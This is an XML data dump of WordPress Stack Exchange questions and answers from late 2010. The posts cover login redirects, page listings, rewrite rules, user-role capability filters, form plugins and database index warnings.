  <row Id="4490" PostTypeId="1" CreationDate="2010-11-24T16:22:51.710" Score="1" ViewCount="447" Body="&lt;p&gt;I need to have a index page and it can pull out the title (with link), meta key description and meta key image (meta keys from custom fields) of its child pages, but only one level down.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;e.g. I have a index page call WORK, and few child index PRINT, WEB. there will be some pages under PRINT and WEB as well, but I don't want them to be shown on the WORK index. I only need to have PRINT and WEB to be listed and with the meta keys.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anybody can help please? many thanks!&lt;/p&gt;&#xA;" LastActivityDate="2010-12-25T00:30:50.850" Title="list child page items (1 level with meta keys)" Tags="&lt;query-posts&gt;" AnswerCount="1" CommentCount="1" FavoriteCount="1" />
  <row Id="4491" PostTypeId="2" ParentId="3927" CreationDate="2010-11-24T16:58:01.570" Score="0" ViewCount="" Body="&lt;p&gt;Unless a solution can be provided on this topic I will assume for the time being that the best way to get this to work is to just create a &quot;home.php&quot; file within ones template and query the post ID directly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have accepted this as the answer for the time being but if anyone finds a solution after this answer is accepted please post it and I will accept that as the correct answer.&lt;/p&gt;&#xA;" OwnerUserId="479" LastActivityDate="2010-11-24T16:58:01.570" />
  <row Id="4492" PostTypeId="1" AcceptedAnswerId="4493" CreationDate="2010-11-24T17:04:43.377" Score="4" ViewCount="548" Body="&lt;p&gt;Because it's not working for me. This code checks if a user has just registered. I want to redirect him to a custom page if so. Otherwise, redirect him to the homepage or admin page. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function mylogin_redirect($redirect_to, $url_redirect_to = '', $user = null) {&#xA;    if( $user-&amp;gt;ID ) {&#xA;        $user_info = get_userdata( $user-&amp;gt;ID ); &#xA;        // If user_registered date/time is less than 48hrs from now&#xA;        // Message will show for 48hrs after registration&#xA;        if ( strtotime( $user_info-&amp;gt;user_registered ) &amp;gt; ( time() - 172800 ) ) {&#xA;            return get_bloginfo('url') . &quot;/custompage/&quot;;&#xA;        } elseif( current_user_can( 'manage_options' )) {&#xA;            return admin_url();&#xA;        } else {&#xA;            return get_bloginfo('url');&#xA;        }&#xA;    }&#xA;}&#xA;add_filter('login_redirect', 'mylogin_redirect');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I get the expected results for the two options but the admin. &lt;code&gt;elseif( current_user_can( 'manage_options' )) { return admin_url(); }&lt;/code&gt; doesn't seem to get parsed. &lt;/p&gt;&#xA;" OwnerUserId="1649" LastActivityDate="2010-11-24T17:26:16.983" Title="How to use current_user_can()?" Tags="&lt;login&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="3" />
  <row Id="4493" PostTypeId="2" ParentId="4492" CreationDate="2010-11-24T17:26:16.983" Score="5" ViewCount="" Body="&lt;p&gt;Probably because the global &lt;code&gt;$current_user&lt;/code&gt; isn't valid yet, which is used by &lt;code&gt;current_user_can()&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, you can use this instead;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if ($user-&amp;gt;has_cap('manage_options')) { return admin_url(); }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1685" LastActivityDate="2010-11-24T17:26:16.983" />
  <row Id="4494" PostTypeId="2" ParentId="4478" CreationDate="2010-11-24T17:55:44.070" Score="0" ViewCount="" Body="&lt;p&gt;GA operates with profiles, that is entity that you choose to view report for.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Choice between 2 and 3 is essentially choosing if you want to combine all of domains under single profile/report (but be able to distinguish sub-domains with filters and such) or you want completely separate profiles.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;See &lt;a href=&quot;http://www.google.com/support/analytics/bin/answer.py?hl=en&amp;amp;answer=55570&quot; rel=&quot;nofollow&quot;&gt;My site has multiple domain names. How do I set up tracking?&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2010-11-24T17:55:44.070" />
  <row Id="4495" PostTypeId="2" ParentId="4481" CreationDate="2010-11-24T18:26:34.730" Score="4" ViewCount="" Body="&lt;p&gt;The wp_get_archives() function runs a filter on its WHERE clause--it's called &lt;strong&gt;getarchives_where&lt;/strong&gt;. You could use this to modify the query to only include pages rather than posts (which is the hard-coded default).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I haven't tested this yet, but try it out: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_filter('getarchives_where','my_archives_filter');&#xA;&#xA;function my_archives_filter($where_clause) {&#xA;&#xA;  return &quot;WHERE post_type = 'page' AND post_status = 'publish'&quot;;&#xA;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then, just use the wp_get_archives function the way you normally would.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Obviously, this will affect the wp_get_archives function sitewide, so if you use wp_get_archives for grabbing a post archive somewhere else on your site, you'll have to wrap the add_filter in something that recognizes the context.&lt;/p&gt;&#xA;" OwnerUserId="1537" LastActivityDate="2010-11-24T18:26:34.730" CommentCount="1" />
  <row Id="4496" PostTypeId="1" AcceptedAnswerId="4504" CreationDate="2010-11-24T18:42:39.303" Score="-4" ViewCount="340" Body="&lt;p&gt;&lt;strong&gt;Hi. I need help finding a good form plugin. I need to build custom forms, and store data in a database. And it must be free.&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So far, I've used &lt;a href=&quot;http://www.deliciousdays.com/cforms-plugin/&quot; rel=&quot;nofollow&quot;&gt;cforms&lt;/a&gt; which is a fairly decent form builder. The problem is that by time I've managed to install it, a new version is made availabe. It's annoying when a plugin gets updated too often.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Contact Form 7 is not an option, since this will not be used for contact purposes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.gravityforms.com&quot; rel=&quot;nofollow&quot;&gt;Gravity Forms for WP&lt;/a&gt; looks good. But this costs money.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Do you guys have suggestions to what other good form plugins are availabe?&lt;/p&gt;&#xA;" OwnerUserId="1447" LastActivityDate="2011-06-20T23:27:35.920" Title="What is the best form plugin for Wordpress?" Tags="&lt;plugins&gt;&lt;forms&gt;" AnswerCount="1" CommentCount="11" />
  <row Id="4497" PostTypeId="2" ParentId="2955" CreationDate="2010-11-24T20:30:07.870" Score="2" ViewCount="" Body="&lt;h2&gt;Related Questions&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;As this is a community wiki question, I'll start to link related questions in the hope of use. Not a real answer so far but probably of help. Feel free to extend:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://wordpress.stackexchange.com/questions/3671/what-theme-is-good-for-posting-code&quot;&gt;What theme is good for posting code?&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="178" LastActivityDate="2010-11-24T20:30:07.870" CommunityOwnedDate="2010-11-24T20:30:07.870" />
  <row Id="4498" PostTypeId="1" CreationDate="2010-11-24T21:08:26.680" Score="5" ViewCount="1046" Body="&lt;p&gt;i set my wordpress permlink to &lt;code&gt;/%category%/%postname%&lt;/code&gt; now i'm using Nextgen Gallery so when i have a gallery in a page it will be something like &lt;code&gt;/cat/page?gallery=10&lt;/code&gt; i want to make it something like &lt;code&gt;cat/page/gallery id/&lt;/code&gt; i tried alot with wp_rewrite ... but no luck ... any help ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;this is what i'm testing on .. it's not my code it's provided from wordpress ... i will put everything in its place when i found the way ... so don't worry i will not &lt;code&gt;flushRules&lt;/code&gt; on &lt;code&gt;init&lt;/code&gt; ... thanks a lot &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_filter('rewrite_rules_array','wp_insertMyRewriteRules');&#xA;add_filter('query_vars','wp_insertMyRewriteQueryVars');&#xA;add_filter('init','flushRules');&#xA;&#xA;// Remember to flush_rules() when adding rules&#xA;function flushRules(){&#xA; global $wp_rewrite;&#xA;    $wp_rewrite-&amp;gt;flush_rules();&#xA;}&#xA;&#xA;// Adding a new rule&#xA;function wp_insertMyRewriteRules($rules)&#xA;{&#xA; $newrules = array();&#xA;&#xA;    //i don't know what should i put here&#xA; $newrules[''] = '';&#xA; return $newrules + $rules;&#xA; //&#xA;}&#xA;&#xA;// Adding the id var so that WP recognizes it&#xA;function wp_insertMyRewriteQueryVars($vars)&#xA;{&#xA;    array_push($vars, 'id');&#xA;    return $vars;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="889" LastEditorUserId="8" LastEditorDisplayName="" LastEditDate="2010-11-25T18:42:37.263" LastActivityDate="2011-03-24T03:14:58.233" Title="Custom permalinks with NextGEN Gallery" Tags="&lt;url-rewriting&gt;&lt;redirect&gt;&lt;plugin-nextgen-gallery&gt;" AnswerCount="3" />
  <row Id="4499" PostTypeId="1" AcceptedAnswerId="4502" CreationDate="2010-11-24T21:56:41.680" Score="-2" ViewCount="460" Body="&lt;p&gt;I just got 6 hits from google.ro (Romania) as the referrer on my wordpress.com blog which has absolutely  nothing to do with Romania, I was wondering what could that be?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit: to clarify I got 10 hits all together of which 6 came from google.ro as the referrer with no search terms specified. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="1686" LastEditorUserId="1686" LastEditorDisplayName="" LastEditDate="2010-11-24T23:26:34.533" LastActivityDate="2010-11-24T23:26:34.533" Title="multiple hits from google.ro" Tags="&lt;wordpress.com&gt;&lt;spam&gt;" AnswerCount="1" CommentCount="2" />
  <row Id="4500" PostTypeId="2" ParentId="4479" CreationDate="2010-11-24T22:07:34.423" Score="3" ViewCount="" Body="&lt;p&gt;It's actually pretty easy. You need to filter into &lt;code&gt;map_meta_caps&lt;/code&gt; and stop editors from creating/editing admins, and remove the administrator role from the 'editable roles' array. This class, as a plugin or in your theme's functions.php file would do it:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;class JPB_User_Caps {&#xA;&#xA;  // Add our filters&#xA;  function JPB_User_Caps(){&#xA;    add_filter( 'editable_roles', array(&amp;amp;$this, 'editable_roles'));&#xA;    add_filter( 'map_meta_cap', array(&amp;amp;$this, 'map_meta_cap'),10,4);&#xA;  }&#xA;&#xA;  // Remove 'Administrator' from the list of roles if the current user is not an admin&#xA;  function editable_roles( $roles ){&#xA;    if( isset( $roles['administrator'] ) &amp;amp;&amp;amp; !current_user_can('administrator') ){&#xA;      unset( $roles['administrator']);&#xA;    }&#xA;    return $roles;&#xA;  }&#xA;&#xA;  // If someone is trying to edit or delete and admin and that user isn't an admin, don't allow it&#xA;  function map_meta_cap( $caps, $cap, $user_id, $args ){&#xA;&#xA;    switch( $cap ){&#xA;        case 'edit_user':&#xA;        case 'remove_user':&#xA;        case 'promote_user':&#xA;            if( isset($args[0]) &amp;amp;&amp;amp; $args[0] == $user_id )&#xA;                break;&#xA;            elseif( !isset($args[0]) )&#xA;                $caps[] = 'do_not_allow';&#xA;            $other = new WP_User( absint($args[0]) );&#xA;            if( $other-&amp;gt;has_cap( 'administrator' ) ){&#xA;                if(!current_user_can('administrator')){&#xA;                    $caps[] = 'do_not_allow';&#xA;                }&#xA;            }&#xA;            break;&#xA;        case 'delete_user':&#xA;        case 'delete_users':&#xA;            if( !isset($args[0]) )&#xA;                break;&#xA;            $other = new WP_User( absint($args[0]) );&#xA;            if( $other-&amp;gt;has_cap( 'administrator' ) ){&#xA;                if(!current_user_can('administrator')){&#xA;                    $caps[] = 'do_not_allow';&#xA;                }&#xA;            }&#xA;            break;&#xA;        default:&#xA;            break;&#xA;    }&#xA;    return $caps;&#xA;  }&#xA;&#xA;}&#xA;&#xA;$jpb_user_caps = new JPB_User_Caps();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;h2&gt;EDIT&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Ok, so I took a look into why it was letting user deletion slip through. It looks like delete_user is handled slightly differently from edit_user; I've modified the map_meta_cap method to work around this. I've tested on 3.0.3 and this will prevent anybody but administrators from actually deleting, editing, or creating an administrator.&lt;/p&gt;&#xA;" OwnerUserId="11" LastEditorUserId="11" LastEditorDisplayName="" LastEditDate="2010-12-20T17:20:26.900" LastActivityDate="2010-12-20T17:20:26.900" CommentCount="5" />
  <row Id="4501" PostTypeId="2" ParentId="4451" CreationDate="2010-11-24T22:08:53.177" Score="1" ViewCount="" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;1) The attachment_fields_to_save filter does not get applied, even though I can see the echo'd text inside the media-upload.php window. I know this because the _imageTop meta only gets written to the database when I comment out the if(isset) check&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Try to exchange $_GET with $_POST and see if it works. If so, you need to check for $_POST as well.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;2) After the images have been uploaded, I have to click on &quot;Save all changes&quot; to get the _imageTop meta to save to the database. Ideally, I'd like the data saved immediately after the upload, without having to click &quot;Save all changes&quot;. This is probably due to the fact that the attachment_fields_to_save handler only fires on the &quot;Save all changes&quot; hook. Nevertheless, I'd like to figure out how to get it to fire when the images have been uploaded.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;If it does not get fired, the only thing you can do is to fire it your own, e.g. call the hook function directly. If that is not possible (e.g. you have not code that is executed so you can't execute your additional code then), you need to look for another action you can hook into, e.g. one that get's fired after the upload. There probably is some hook when the image get's saved in the media library. You could then store your custom post field as well (!) into the database. Just to have it saved. I dunno if WP is able to handle that with it's revision system, so you need to try.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;3) I want to remove the &quot;insert into post&quot; link from the screen.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I do not know how this can be done from the top of my head, you should check the core code if there is something you can override with/by a hook.&lt;/p&gt;&#xA;" OwnerUserId="178" LastActivityDate="2010-11-24T22:08:53.177" />
  <row Id="4502" PostTypeId="2" ParentId="4499" CreationDate="2010-11-24T22:17:46.713" Score="3" ViewCount="" Body="&lt;p&gt;Someone who was using google.ro has visited your website. Google has no idea if your website has something to do with romania or not, but as the internet is available all over the world and google just lists stuff, it's most certainly the case that a user who was visiting or using google.ro first then visited your page. For example, he was explicitly searching something with the language of your site.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want to find out what the person was looking for, you need to analyze the logs of your webserver. Sometimes, the referrer contains search terms that person was using. So you might found out more this way if referrers are logged by your webserver.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Additionally you might consider to install a plugin that does exactly this for you, like just for example &lt;a href=&quot;http://wordpress.org/extend/plugins/google-analytics-for-wordpress/&quot; rel=&quot;nofollow&quot;&gt;google analytics for wordpress&lt;/a&gt; (Wordpress Plugin). This wont work for the past visits naturally.&lt;/p&gt;&#xA;" OwnerUserId="178" LastActivityDate="2010-11-24T22:17:46.713" CommentCount="3" />
  <row Id="4503" PostTypeId="2" ParentId="4209" CreationDate="2010-11-24T22:55:16.497" Score="2" ViewCount="" Body="&lt;p&gt;I'll go with hakre's solution using RewriteAPI.&#xA;I did not know it existed and it looks like it is what I need.&lt;/p&gt;&#xA;" OwnerUserId="1447" LastActivityDate="2010-11-24T22:55:16.497" />
  <row Id="4504" PostTypeId="2" ParentId="4496" CreationDate="2010-11-24T23:30:13.293" Score="1" ViewCount="" Body="&lt;h1&gt;Secure Form Mailer Plugin For Wordpress&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;For years and years I have been using the form plugin from dagon design: &lt;a href=&quot;http://www.dagondesign.com/articles/secure-form-mailer-plugin-for-wordpress/&quot; rel=&quot;nofollow&quot;&gt;http://www.dagondesign.com/articles/secure-form-mailer-plugin-for-wordpress/&lt;/a&gt; for free! (so let me do my happy user giveback thing:)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This plugin has a wide range of features including: &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Support for multiple instances&lt;/li&gt;&#xA;&lt;li&gt;An easy to use dynamic form generation system (any number of fields, in any order)&lt;/li&gt;&#xA;&lt;li&gt;multiple recipients&lt;/li&gt;&#xA;&lt;li&gt;multiple file attachments&lt;/li&gt;&#xA;&lt;li&gt;optional auto reply feature&lt;/li&gt;&#xA;&lt;li&gt;an image verification system&lt;/li&gt;&#xA;&lt;li&gt;numerous security features (including protection against email header injection)&lt;/li&gt;&#xA;&lt;li&gt;a message template system&lt;/li&gt;&#xA;&lt;li&gt;multiple languages&lt;/li&gt;&#xA;&lt;li&gt;and too many other things to list. &lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;This plugin was designed to be easy to use, while still being extremely flexible. If you just want a simple contact form, you can set one up with just a few clicks. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;For those of you who need something a bit more advanced, you can completely customize the plugin to fit your needs – whether it is 5 fields or 500. A non-WordPress version is also available. ReCaptcha support has also been added, as well as support for storing the data in a delimited file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It has served me well for years.&lt;/p&gt;&#xA;" OwnerUserId="576" LastActivityDate="2010-11-24T23:30:13.293" CommentCount="4" />
  <row Id="4505" PostTypeId="2" ParentId="4490" CreationDate="2010-11-24T23:34:22.963" Score="1" ViewCount="" Body="&lt;p&gt;See: &lt;a href=&quot;http://stackoverflow.com/questions/1045439/wordpress-retrieving-post-children&quot;&gt;http://stackoverflow.com/questions/1045439/wordpress-retrieving-post-children&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;See: &lt;a href=&quot;http://stackoverflow.com/questions/2572173/wordpress-showing-custom-data-from-child-pages-pagination&quot;&gt;http://stackoverflow.com/questions/2572173/wordpress-showing-custom-data-from-child-pages-pagination&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;See: &lt;a href=&quot;http://stackoverflow.com/questions/3488628/wordpress-list-pages-with-children&quot;&gt;http://stackoverflow.com/questions/3488628/wordpress-list-pages-with-children&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;See: &lt;a href=&quot;http://stackoverflow.com/questions/3780148/getting-wordpress-wp-list-pages-to-list-only-relevant-children-hard-as-hell&quot;&gt;http://stackoverflow.com/questions/3780148/getting-wordpress-wp-list-pages-to-list-only-relevant-children-hard-as-hell&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;See: &lt;a href=&quot;http://stackoverflow.com/questions/1160047/wordpress-list-multi-level-parent-pages-when-on-a-3rd-level-child-page&quot;&gt;http://stackoverflow.com/questions/1160047/wordpress-list-multi-level-parent-pages-when-on-a-3rd-level-child-page&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;depth&lt;/strong&gt; &#xA;(integer) This parameter controls how many levels in the hierarchy of pages are to be included in the list generated by wp_list_pages. The default value is 0 (display all pages, including all sub-pages).&#xA;0 (default) Displays pages at any depth and arranges them hierarchically in nested lists&#xA;-1 Displays pages at any depth and arranges them in a single, flat list&#xA;1 Displays top-level Pages only&#xA;2, 3 … Displays Pages to the given depth&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;child_of&lt;/strong&gt; &#xA;(integer) Displays the sub-pages of a single Page only; uses the ID for a Page as the value. Note that the child_of parameter will also fetch &quot;grandchildren&quot; of the given ID, not just direct descendants. Defaults to 0 (displays all Pages).&lt;/p&gt;&#xA;" OwnerUserId="576" LastEditorUserId="576" LastEditorDisplayName="" LastEditDate="2010-11-24T23:40:58.077" LastActivityDate="2010-11-24T23:40:58.077" CommentCount="1" />
  <row Id="4506" PostTypeId="2" ParentId="4498" CreationDate="2010-11-25T00:06:11.700" Score="0" ViewCount="" Body="&lt;p&gt;Have you activated the permalinks in the NextGen settings? Under Gallery -&gt; Options -&gt; General select 'activate permalinks', then reset your general permalink settings once. It's not the cleanest URL in the world (it grabs the page ID instead of the name) but it does the job.&lt;/p&gt;&#xA;" OwnerUserId="403" LastActivityDate="2010-11-25T00:06:11.700" CommentCount="4" />
  <row Id="4507" PostTypeId="2" ParentId="4402" CreationDate="2010-11-25T00:17:04.567" Score="0" ViewCount="" Body="&lt;p&gt;It's not well documented, but according to the codex, you can pass a 'type' variable in the get_comments function. Give this a shot &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$comments = get_comments('number=10&amp;amp;status=approve&amp;amp;type=YOUR_POST_TYPE');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="403" LastActivityDate="2010-11-25T00:17:04.567" CommentCount="2" />
  <row Id="4508" PostTypeId="1" CreationDate="2010-11-25T00:25:47.993" Score="2" ViewCount="358" Body="&lt;p&gt;I am using an 'rtl' font (named as JNN) in horizontal menu bar, which is normal &amp;amp; readable at 18px where as the alternate available 'rtl' fonts (like Tahoma &amp;amp; Arial Unicode MS) on Windows are too much big at 18px.&#xA;Due to this dissimilarity in 'font-width', If a visitor to my wordpress-site has no JNN font installed on his computer, the menu-bar will shown to him in Tahoma/'Arial Unicode MS' font and hence these fonts disturb the menu-bar-length due to high font-size.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there any solution through javascript to check the &quot;font-availibility&quot; at the user's end, and if found use &quot;Font-Size-A&quot; and if not then use &quot;Font-Size-B&quot; ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help will be highly appreciated.&lt;/p&gt;&#xA;" OwnerUserId="1651" LastEditorUserId="178" LastEditorDisplayName="" LastEditDate="2011-02-05T21:14:17.740" LastActivityDate="2011-08-05T20:39:16.943" Title="Changing Font-Size based on specific Font thru javascript" Tags="&lt;css&gt;&lt;javascript&gt;&lt;cross-plattform&gt;" AnswerCount="3" CommentCount="6" />
  <row Id="4509" PostTypeId="2" ParentId="4498" CreationDate="2010-11-25T08:17:04.067" Score="2" ViewCount="" Body="&lt;p&gt;Have you had a look at the &lt;a href=&quot;http://codex.wordpress.org/Rewrite_API&quot; rel=&quot;nofollow&quot;&gt;rewrite API&lt;/a&gt;? Maybe this can solve your problem?&lt;br&gt;&#xA;If you use the rewrite API, then you probably should turn of NextGen rewrite function.&lt;/p&gt;&#xA;" OwnerUserId="1447" LastActivityDate="2010-11-25T08:17:04.067" />
  <row Id="4510" PostTypeId="2" ParentId="4408" CreationDate="2010-11-25T08:30:21.933" Score="0" ViewCount="" Body="&lt;p&gt;Just add the following snippet in you non-WP page:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// This is so that we can use WP functions&#xA;require_once($_SERVER['DOCUMENT_ROOT'].'/wp-blog-header.php');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Now you can call &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/wp_get_recent_posts&quot; rel=&quot;nofollow&quot;&gt;wp_get_recent_posts&lt;/a&gt; to get the latests posts.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But reading your question agin, it seems that you are NOT using Wordpress, but you want a function similar to wordpress? In that case, you're in the wrong forum. You should ask it over at StackExchange.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And if you are not using WP, then you need to fill in more details. Are you using any CMS? IS you site custom PHP? Storing data in DB? And so on.&lt;/p&gt;&#xA;" OwnerUserId="1447" LastActivityDate="2010-11-25T08:30:21.933" />
  <row Id="4511" PostTypeId="2" ParentId="2738" CreationDate="2010-11-25T09:25:16.270" Score="0" ViewCount="" Body="&lt;p&gt;@Nick - I had the same problem where the main page loaded but none of the links. I changed Permalinks from Custom to Default and then it worked. I changed back to my custom settings later, and all worked out.&lt;/p&gt;&#xA;" LastActivityDate="2010-11-25T09:25:16.270" />
  <row Id="4512" PostTypeId="2" ParentId="3624" CreationDate="2010-11-25T09:42:20.983" Score="0" ViewCount="" Body="&lt;p&gt;I have created a theme as per my requirement. If you have similar requirement, Please see following&lt;br/&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.techbrij.com/342/create-project-collection-theme-wordpress-3-custom-post-type&quot; rel=&quot;nofollow&quot;&gt;http://www.techbrij.com/342/create-project-collection-theme-wordpress-3-custom-post-type&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1302" LastActivityDate="2010-11-25T09:42:20.983" />
  <row Id="4513" PostTypeId="1" CreationDate="2010-11-25T10:32:23.573" Score="2" ViewCount="477" Body="&lt;p&gt;Is there a plugin that displays comments like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://img541.imageshack.us/img541/6541/47905634.jpg&quot; rel=&quot;nofollow&quot;&gt;http://img541.imageshack.us/img541/6541/47905634.jpg&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;when the user clicks &quot;read more&quot;, older comments are being appended to the list with ajax.&lt;/p&gt;&#xA;" OwnerUserId="600" LastEditorUserId="178" LastEditorDisplayName="" LastEditDate="2011-02-05T21:00:29.520" LastActivityDate="2011-05-07T05:09:44.420" Title="How to load and show comments with AJAX instead of pagination?" Tags="&lt;comments&gt;&lt;ajax&gt;&lt;coding&gt;" AnswerCount="2" CommentCount="4" />
  <row Id="4514" PostTypeId="1" AcceptedAnswerId="4527" CreationDate="2010-11-25T11:31:01.967" Score="5" ViewCount="414" Body="&lt;p&gt;How can I customise the the new user welcome email ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried 'http://www.sean-barton.co.uk/wordpress-welcome-email-editor/' however it conflicts with some of the other plugins I need to use, Cimy Extra Fields.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is one other plugin that is to old for wordpress 3.0.1.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Will&lt;/p&gt;&#xA;" OwnerUserId="91" LastEditorUserId="91" LastEditorDisplayName="" LastEditDate="2010-11-25T12:08:55.960" LastActivityDate="2010-11-25T16:43:11.093" Title="How do I customise the new user welcome email" Tags="&lt;email&gt;&lt;registration&gt;" AnswerCount="1" FavoriteCount="4" />
  <row Id="4515" PostTypeId="1" CreationDate="2010-11-25T11:35:50.703" Score="0" ViewCount="53" Body="&lt;p&gt;I'm getting 3 very similar phpMyAdmin errors on one of my WordPress databases.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;More than one INDEX key was created for column `comment_approved`&#xA;&#xA;More than one FULLTEXT key was created for column `post_title`&#xA;&#xA;More than one INDEX key was created for column `lead_id`&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Anyone know how to resolve these?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://i.stack.imgur.com/T0Ssk.png&quot; alt=&quot;alt text&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="1341" LastActivityDate="2010-11-25T12:13:43.927" Title="What do these phpMyAdmin errors mean on my WordPress databaes?" Tags="&lt;posts&gt;&lt;comments&gt;&lt;database&gt;&lt;errors&gt;&lt;mysql&gt;" AnswerCount="1" FavoriteCount="1" />
  <row Id="4516" PostTypeId="2" ParentId="4515" CreationDate="2010-11-25T12:13:43.927" Score="3" ViewCount="" Body="&lt;p&gt;As it writes, a problem with the indexes definitions of those tables. Please try a repair on the reported table and see if that helps.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Have you activated a specific add-on lately or did you alter tables?&lt;/p&gt;&#xA;" OwnerUserId="178" LastActivityDate="2010-11-25T12:13:43.927" CommentCount="3" />
  <row Id="4517" PostTypeId="2" ParentId="4508" CreationDate="2010-11-25T13:26:38.530" Score="1" ViewCount="" Body="&lt;p&gt;Not exactly what you asked for, but you can kind of &quot;make sure&quot; the user has the desired font through the @font-face css3 rule. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;According to caniuse.com about 95% of global users can use that css property, so it's a good trade-off. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Different browsers use different font formats however, so you'll need to use &lt;a href=&quot;http://www.fontsquirrel.com/fontface/generator&quot; rel=&quot;nofollow&quot;&gt;http://www.fontsquirrel.com/fontface/generator&lt;/a&gt; to generate all your required fonts. The site will also provide you with some extra details on how to use the fonts.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Paul Irish has a great blog post about font-face and how to use it properly here. (go to his blog and search for font-face) I would have posted the link myself but I can't post more than one link cause I'm a new user.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope this helps!&lt;/p&gt;&#xA;" OwnerUserId="1695" LastActivityDate="2010-11-25T13:26:38.530" CommentCount="1" />
  <row Id="4518" PostTypeId="1" AcceptedAnswerId="4521" CreationDate="2010-11-25T13:29:59.167" Score="0" ViewCount="598" Body="&lt;p&gt;Is it possible to remove a broken theme from WordPress using only the WordPress dashboard? i.e, without using cpanel or FTP?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Background: When you are doing customer support, its rare that you have access to the user's FTP or cpanel, but its pretty simple for them to set you up as a temporary user to troubleshoot their site.&lt;/p&gt;&#xA;" OwnerUserId="366" LastActivityDate="2010-11-26T12:09:14.273" Title="How do you remove a broken theme from WordPress Admin (without FTP or Cpanel)" Tags="&lt;themes&gt;" AnswerCount="2" CommentCount="5" />
